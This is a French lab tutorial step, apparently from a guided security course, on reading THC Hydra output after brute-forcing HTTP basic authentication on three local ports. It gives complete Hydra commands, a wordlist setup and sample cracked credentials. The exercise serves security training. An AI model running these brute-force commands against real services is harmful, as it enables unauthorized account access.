Vérifier les résultats pour plusieurs hôtes
Dans cette étape, vous apprendrez à interpréter la sortie de Hydra lors d'attaques sur plusieurs cibles HTTP. La sortie de Hydra fournit des informations précieuses sur le succès ou l'échec des tentatives d'attaque sur différents services web.
Lorsque Hydra réussit à cracker un mot de passe d'authentification HTTP de base, il affiche les identifiants au format suivant :
[<port>][http-get] hôte : <hôte> utilisateur : <nom_utilisateur> mot de passe : <mot_de_passe>
Par exemple :
[8081][http-get] hôte : 127.0.0.1 utilisateur : admin mot de passe : password123
Cela indique que Hydra a réussi à cracker l'authentification HTTP de base pour l'utilisateur admin
sur l'hôte 127.0.0.1
au port 8081
, avec le mot de passe password123
.
Analysons la sortie des attaques HTTP et comprenons ce que signifient les différents résultats.
-
Exécutez à nouveau la commande Hydra complète pour voir la sortie complète :
cd ~/project
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get /
-
Examinez la sortie détaillée. Vous devriez voir des résultats pour les trois cibles :
Sortie complète attendue :
Hydra v9.x (c) 2023 by van Hauser/THC & David Maciejak - Veuillez ne pas utiliser dans les organisations militaires ou de services secrets, ou à des fins illégales.
Hydra (https://github.com/vanhauser-thc/thc-hydra) démarré le 2023-XX-XX XX:XX:XX
[DATA] max 8 tâches par 1 serveur, 24 tâches au total, 60 tentatives de connexion (l:4/p:5), ~3 tentative par tâche
[DATA] attaque http-get://127.0.0.1:8081:80/
[DATA] attaque http-get://127.0.0.1:8082:80/
[DATA] attaque http-get://127.0.0.1:8083:80/
[8081][http-get] hôte : 127.0.0.1 utilisateur : admin mot de passe : password123
[8082][http-get] hôte : 127.0.0.1 utilisateur : user mot de passe : secret
[8083][http-get] hôte : 127.0.0.1 utilisateur : testuser mot de passe : password
1 des 3 cibles terminées, 3 mots de passe valides trouvés
Hydra terminé.
-
Pour voir à quoi ressemblent les tentatives échouées, créons un scénario avec des identifiants invalides. Créez un nouveau fichier de mots de passe avec principalement de mauvais mots de passe :
echo "wrongpass" > wrong_passwords.txt
echo "badpass" >> wrong_passwords.txt
echo "password123" >> wrong_passwords.txt ## Seul mot de passe correct
-
Exécutez Hydra avec une sortie détaillée pour voir les tentatives réussies et échouées :
hydra -L users.txt -P wrong_passwords.txt -t 4 -v -M targets.txt http-get /
Vous verrez une sortie détaillée montrant la tentative réussie :
(Contenu de la sortie similaire à l'exemple précédent)
-
Enregistrez les résultats dans un fichier pour une analyse ultérieure :
hydra -L users.txt -P passwords.txt -t 8 -M targets.txt http-get / -o hydra_results.txt
Vérifiez le fichier de résultats :
cat hydra_results.txt
Comment interpréter les résultats des attaques HTTP :
- Attaques réussies : Les lignes commençant par
[port][http-get]
montrent les découvertes réussies d'identifiants.
- Informations sur la cible : Chaque résultat réussi indique l'hôte, le port, le nom d'utilisateur et le mot de passe exacts.
- Statistiques de résumé : La dernière ligne indique le nombre de cibles attaquées et le nombre de mots de passe valides trouvés.
- Tentatives échouées : Avec le mode détaillé, vous pouvez voir chaque tentative de connexion échouée.
- Fichiers de sortie : L'utilisation de
-o
enregistre uniquement les résultats réussis dans un fichier pour une analyse facile.
Différences clés avec d'autres protocoles :
- Les attaques HTTP affichent clairement le numéro de port dans les résultats.
- Les temps de réponse sont généralement plus rapides que les attaques SSH.
- Plusieurs domaines d'authentification sur le même serveur apparaîtraient comme des cibles différentes.
- Les codes d'état HTTP (comme 401, 403) fournissent un contexte supplémentaire sur les échecs.
Dans cette étape, vous avez appris à interpréter la sortie de Hydra lors d'attaques sur plusieurs cibles HTTP, à comprendre la différence entre les tentatives réussies et échouées, et à enregistrer les résultats pour une analyse. Ces connaissances sont essentielles pour des tests de sécurité efficaces des applications web.